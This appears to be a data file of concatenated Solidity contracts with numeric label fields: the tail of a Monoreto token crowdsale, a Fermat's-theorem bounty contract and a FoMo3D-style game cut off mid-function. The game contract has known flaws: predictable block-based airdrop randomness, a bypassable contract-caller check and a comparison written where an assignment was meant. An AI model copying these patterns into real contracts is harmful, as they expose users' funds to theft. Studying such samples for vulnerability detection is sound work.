uint256 public constant CENT_DECIMALS = 100000;
address internal deployer;
function BaseMonoretoCrowdsale(uint256 _tokenTarget, uint256 _usdEth, uint256 _usdMnr) public
{
require(_tokenTarget > 0);
require(_usdEth > 0);
require(_usdMnr > 0);
tokenTarget = _tokenTarget;
usdEth = _usdEth;
usdMnr = _usdMnr;
deployer = msg.sender;
}
function setUsdEth(uint256 _usdEth) external onlyOwner {
usdEth = _usdEth;
rate = _usdEth.mul(CENT_DECIMALS).div(usdMnr);
}
function setUsdMnr(uint256 _usdMnr) external onlyOwner {
usdMnr = _usdMnr;
rate = usdEth.mul(CENT_DECIMALS).div(_usdMnr);
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
uint256 public constant ETHER_THRESHOLD = 100 finney;
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
uint256 newTokenAmount = tokensPurchased.add(_getTokenAmount(_weiAmount));
require(newTokenAmount <= tokenTarget);
require(_weiAmount >= ETHER_THRESHOLD);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(usdEth).mul(CENT_DECIMALS).div(usdMnr);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
tokensPurchased = tokensPurchased.add(_tokenAmount);
super._deliverTokens(_beneficiary, _tokenAmount);
}
function finalization() internal {
super.finalization();
MonoretoToken castToken = MonoretoToken(token);
castToken.transferOwnership(deployer);
}
}
contract MonoretoPreIco is BaseMonoretoCrowdsale {
function MonoretoPreIco(uint256 _openTime, uint256 _closeTime, uint256 _goal, uint256 _cap,
uint256 _centWeiRate, uint256 _centMnrRate,
uint256 _tokenTarget, address _ownerWallet, MonoretoToken _token) public
BaseMonoretoCrowdsale(_tokenTarget, _centWeiRate, _centMnrRate)
CappedCrowdsale(_cap)
RefundableCrowdsale(_goal)
FinalizableCrowdsale()
TimedCrowdsale(_openTime, _closeTime)
Crowdsale(_centWeiRate.mul(CENT_DECIMALS).div(_centMnrRate), _ownerWallet, _token)
{
require(_goal <= _cap);
}
function finalization() internal {
MonoretoToken castToken = MonoretoToken(token);
castToken.adjustCap();
super.finalization();
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract MonoretoToken is CappedToken {
using SafeMath for uint256;
string public constant NAME = "Monoreto Token";
string public constant SYMBOL = "MNR";
uint8 public constant DECIMALS = 18;
function MonoretoToken(uint256 _cap) public
CappedToken(_cap) {
}
bool public capAdjusted = false;
function adjustCap() public onlyOwner {
require(!capAdjusted);
capAdjusted = true;
uint256 percentToAdjust = 6;
uint256 oneHundredPercent = 100;
cap = totalSupply().mul(oneHundredPercent).div(percentToAdjust);
}
} | 0 | 940 |
pragma solidity ^0.4.18;
contract Fermat {
address public owner = msg.sender;
uint releaseTime = now + 17280000;
function addBalance() public payable {
}
function getOwner() view public returns (address) {
return owner;
}
function getReleaseTime() view public returns (uint) {
return releaseTime;
}
function withdraw() public {
require(msg.sender == owner);
require(now >= releaseTime);
msg.sender.transfer(this.balance);
}
function getBalance() view public returns (uint256) {
return this.balance;
}
function claim(int256 a, int256 b, int256 c, int256 n) public {
uint256 value = solve(a, b, c, n);
if (value == 0) {
msg.sender.transfer(this.balance);
}
}
function solve(int256 a, int256 b, int256 c, int256 n) pure public returns (uint256) {
assert(n > 2);
assert(a > 0);
assert(b > 0);
assert(c > 0);
uint256 aExp = power(a, n);
uint256 bExp = power(b, n);
uint256 cExp = power(c, n);
uint256 sum = add(aExp, bExp);
uint256 difference = sub(sum, cExp);
return difference;
}
function power(int256 a, int256 pow) pure public returns (uint256) {
assert(a >= 0);
assert(pow >= 0);
int256 result = 1;
if(a == 0) {
return 1;
}
for (int256 i = 0; i < pow; i++) {
result = result * a;
assert(result >= a);
}
return uint256(result);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
} | 0 | 1,080 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xd3a349029378b48fe696eD2F7f5d0560E51A7b3a);
address private admin = msg.sender;
string constant public name = "MOFO 3D";
string constant public symbol = "MOFO";
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 5 seconds;
uint256 constant private rndMax_ = 10 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = (8 * _eth) / 100;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
